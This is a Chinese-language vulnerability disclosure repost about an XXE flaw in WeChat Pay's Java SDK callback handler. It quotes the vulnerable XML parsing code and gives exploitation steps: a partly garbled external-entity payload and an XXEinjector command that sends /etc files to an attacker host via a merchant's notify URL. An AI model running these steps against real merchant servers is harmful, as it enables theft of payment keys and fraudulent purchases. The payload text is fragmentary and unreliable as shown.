漏洞信息来源：
http://seclists.org/fulldisclosure/2018/Jul/3
https://xz.aliyun.com/t/2426
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JAVA SDK，WxPayAPI_JAVA_v3，建议使用了该版本的公司进行异常支付排查。
微信在JAVA版本的SDK中提供callback回调功能，用来帮助商家接收异步付款结果，该接口接受XML格式的数据，×××者可以构造恶意的回调数据（XML格式）来窃取商家服务器上的任何信息。一旦×××者获得了关键支付的安全密钥（md5-key和商家信息，将可以直接实现0元支付购买任何商品）
The SDK in this page: https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
chapter=11_1
Just in java vision:
https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
or
https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
Backup ）
README.md in WxPayApi_JAVA_v3.zip,it show more details:
notify code example:
[
String notifyData = "....";
MyConfig config = new MyConfig();
WXPay wxpay = new WXPay(config);
//conver to map
Map notifyMap = WXPayUtil.xmlToMap(notifyData);
if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
//do business logic
}
else {
}
]
WXPayUtil source code
[
public static Map xmlToMap(String strXML) throws
Exception {
try {
Map data = new HashMap();
/*** not disabled xxe *****/
//start parse
DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
//end parse
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getDocumentElement().getChildNodes();
for (int idx = 0; idx < nodeList.getLength(); ++idx) {
Node node = nodeList.item(idx);
if (node.getNodeType() == Node.ELEMENT_NODE) {
org.w3c.dom.Element element = (org.w3c.dom.Element) node
;
data.put(element.getNodeName(), element.getTextContent
());
}
}
try {
stream.close();
} catch (Exception ex) {
// do nothing
}
return data;
} catch (Exception ex) {
WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
throw ex;
}
}
] 
Post merchant notification url with payload:
找到商家的notify
%xxe;
]>
data.dtd:
">
%shell;
%upload;
or use XXEinjector tool 【https://github.com/enjoiz/XXEinjector】
ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --ssl
req.txt :
POST merchant_notification_url HTTP/1.1
Host: merchant_notification_url_host
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
XXEINJECT